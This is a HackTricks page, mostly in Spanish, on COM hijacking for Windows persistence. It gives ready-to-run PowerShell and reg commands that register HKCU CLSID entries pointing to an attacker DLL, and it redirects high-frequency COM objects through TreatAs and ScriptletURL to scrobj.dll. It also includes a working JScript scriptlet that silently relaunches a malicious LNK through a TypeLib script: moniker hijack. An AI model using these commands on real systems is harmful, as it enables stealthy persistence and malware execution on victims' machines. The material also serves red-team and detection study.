COM Hijacking
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord, al grupo de telegram, sigue @hacktricks_live en X/Twitter, o revisa la página de LinkedIn y el canal de YouTube.
- Comparte hacking tricks enviando PRs a los repositorios de github HackTricks y HackTricks Cloud.
Buscando componentes COM inexistentes
Como los valores de HKCU pueden ser modificados por los usuarios, COM Hijacking podría usarse como un mecanismo de persistencia. Usando procmon es fácil encontrar registros COM buscados que aún no existen y que podrían ser creados por un atacante. Filtros clásicos:
- RegOpenKey operaciones.
- donde el Result es NAME NOT FOUND.
- y el Path termina con InprocServer32.
Variaciones útiles durante la búsqueda:
- También busca claves faltantes
LocalServer32. Algunas clases COM son servidores fuera de proceso y lanzarán un EXE controlado por el atacante en lugar de una DLL. - Busca operaciones de registro
TreatAsyScriptletURLademás deInprocServer32. El contenido reciente de detección y los writeups de malware siguen señalándolos porque son mucho más raros que los registros COM normales y, por lo tanto, de alta señal. - Copia el legítimo
ThreadingModeldelHKLM\Software\Classes\CLSID\{CLSID}\InprocServer32original cuando clones un registro en HKCU. Usar el modelo incorrecto a menudo rompe la activación y hace que el hijack sea ruidoso. - En sistemas de 64 bits inspecciona ambas vistas de 64 y 32 bits (
procmon.exevsprocmon64.exe,HKLM\Software\ClassesyHKLM\Software\Classes\WOW6432Node) porque las aplicaciones de 32 bits pueden resolver un registro COM diferente.
Una vez que hayas decidido qué COM inexistente suplantar, ejecuta los siguientes comandos. Ten cuidado si decides suplantar un COM que se carga cada pocos segundos, ya que eso podría ser excesivo.
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
Componentes COM secuestrables del Programador de tareas
Las tareas de Windows usan Custom Triggers para llamar a objetos COM y, al ejecutarse mediante el Programador de tareas, es más fácil prever cuándo se van a activar.
# Show COM CLSIDs
$Tasks = Get-ScheduledTask
foreach ($Task in $Tasks)
{
if ($Task.Actions.ClassId -ne $null)
{
if ($Task.Triggers.Enabled -eq $true)
{
$usersSid = "S-1-5-32-545"
$usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }
if ($Task.Principal.GroupId -eq $usersGroup)
{
Write-Host "Task Name: " $Task.TaskName
Write-Host "Task Path: " $Task.TaskPath
Write-Host "CLSID: " $Task.Actions.ClassId
Write-Host
}
}
}
}
# Sample Output:
# Task Name: Example
# Task Path: \Microsoft\Windows\Example\
# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}
# [more like the previous one...]
Al revisar la salida puedes seleccionar uno que se ejecutará, por ejemplo, cada vez que un usuario inicie sesión.
Ahora, buscando el CLSID {1936ED8A-BD93-3213-E325-F38D112938EF} en HKEY\CLASSES\ROOT\CLSID y en HKLM y HKCU, normalmente descubrirás que el valor no existe en HKCU.
# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
Name Property
---- --------
InprocServer32 (default) : C:\Windows\system32\some.dll
ThreadingModel : Both
# Exists in HKLM
Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSize
Name Property
---- --------
{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler
# Doesn't exist in HKCU
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
Then, you can just create the HKCU entry and every time the user logs in, your backdoor will be fired.
COM TreatAs Hijacking + ScriptletURL
TreatAs permite que un CLSID sea emulado por otro. Desde una perspectiva ofensiva, esto significa que puedes dejar el CLSID original intacto, crear un segundo CLSID por usuario que apunte a scrobj.dll, y luego redirigir el objeto COM real al malicioso con HKCU\Software\Classes\CLSID\{Victim}\TreatAs.
This is useful when:
- la aplicación objetivo ya instancia un CLSID estable al iniciar sesión o al arrancar la aplicación
- quieres una redirección solo en el registro en lugar de reemplazar el original InprocServer32
- quieres ejecutar un scriptlet
.sctlocal o remoto a través del valorScriptletURL
Example workflow (adapted from public Atomic Red Team tradecraft and older COM registry abuse research):
:: 1. Create a malicious per-user COM class backed by scrobj.dll
reg add "HKCU\Software\Classes\AtomicTest" /ve /t REG_SZ /d "AtomicTest" /f
reg add "HKCU\Software\Classes\AtomicTest\CLSID" /ve /t REG_SZ /d "{00000001-0000-0000-0000-0000FEEDACDC}" /f
reg add "HKCU\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}" /ve /t REG_SZ /d "AtomicTest" /f
reg add "HKCU\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32" /ve /t REG_SZ /d "C:\Windows\System32\scrobj.dll" /f
reg add "HKCU\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f
reg add "HKCU\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ScriptletURL" /ve /t REG_SZ /d "file:///C:/ProgramData/atomic.sct" /f
:: 2. Redirect a high-frequency CLSID to the malicious class
reg add "HKCU\Software\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\TreatAs" /ve /t REG_SZ /d "{00000001-0000-0000-0000-0000FEEDACDC}" /f
Notas:
scrobj.dlllee el valorScriptletURLy ejecuta el.sctreferenciado, por lo que puedes mantener el payload como un archivo local o descargarlo remotamente vía HTTP/HTTPS.TreatAses especialmente útil cuando el registro COM original está completo y estable en HKLM, porque solo necesitas un pequeño redireccionamiento por usuario en vez de replicar todo el árbol.- Para validar sin esperar al trigger natural, puedes instanciar manualmente el ProgID/CLSID falso con
rundll32.exe -sta <ProgID-or-CLSID>si la clase objetivo soporta activación STA.
COM TypeLib Hijacking (script: moniker persistence)
Type Libraries (TypeLib) definen interfaces COM y se cargan mediante LoadTypeLib(). Cuando se instancia un servidor COM, el SO también puede cargar la TypeLib asociada consultando las claves del registro bajo HKCR\TypeLib\{LIBID}. Si la ruta de la TypeLib se reemplaza con un moniker, p. ej. script:C:\...\evil.sct, Windows ejecutará el scriptlet cuando se resuelva la TypeLib – produciendo una persistencia sigilosa que se activa cuando se tocan componentes comunes.
Esto se ha observado contra el Microsoft Web Browser control (frecuentemente cargado por Internet Explorer, aplicaciones que incrustan WebBrowser e incluso explorer.exe).
Steps (PowerShell)
- Identifica la TypeLib (LIBID) usada por un CLSID de alta frecuencia. Ejemplo de CLSID frecuentemente abusado por cadenas de malware:
{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}(Microsoft Web Browser).
$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
$ver = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
"CLSID=$clsid LIBID=$libid VER=$ver"
- Apunte la ruta TypeLib por usuario a un scriptlet local usando el moniker
script:(no se requieren privilegios de administrador):
$dest = 'C:\\ProgramData\\Udate_Srv.sct'
New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
- Deja un
.sctJScript mínimo que vuelva a ejecutar tu payload principal (p. ej. un.lnkusado por la cadena inicial):
<?xml version="1.0"?>
<scriptlet>
<registration progid="UpdateSrv" classid="{F0001111-0000-0000-0000-0000F00D0001}" description="UpdateSrv"/>
<script language="JScript">
<![CDATA[
try {
var sh = new ActiveXObject('WScript.Shell');
// Re-launch the malicious LNK for persistence
var cmd = 'cmd.exe /K set X=1&"C:\\ProgramData\\NDA\\NDA.lnk"';
sh.Run(cmd, 0, false);
} catch(e) {}
]]>
</script>
</scriptlet>
- Activación – abrir IE, una aplicación que incrusta el WebBrowser control, o incluso la actividad rutinaria del Explorer cargará el TypeLib y ejecutará el scriptlet, rearmando tu cadena en el inicio de sesión/reinicio.
Limpieza
# Remove the per-user TypeLib hijack
Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null
# Delete the dropped scriptlet
Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null
Notas
- Puedes aplicar la misma lógica a otros componentes COM de alta frecuencia; siempre resuelve primero el
LIBIDreal desdeHKCR\CLSID\{CLSID}\TypeLib. - En sistemas de 64 bits también puedes poblar la subclave
win64para consumidores de 64 bits.
Referencias
- Hijack the TypeLib – New COM persistence technique (CICADA8)
- Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies
- Revisiting COM Hijacking (SpecterOps)
- CLSID Key (Microsoft Learn)
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord, al grupo de telegram, sigue @hacktricks_live en X/Twitter, o revisa la página de LinkedIn y el canal de YouTube.
- Comparte hacking tricks enviando PRs a los repositorios de github HackTricks y HackTricks Cloud.


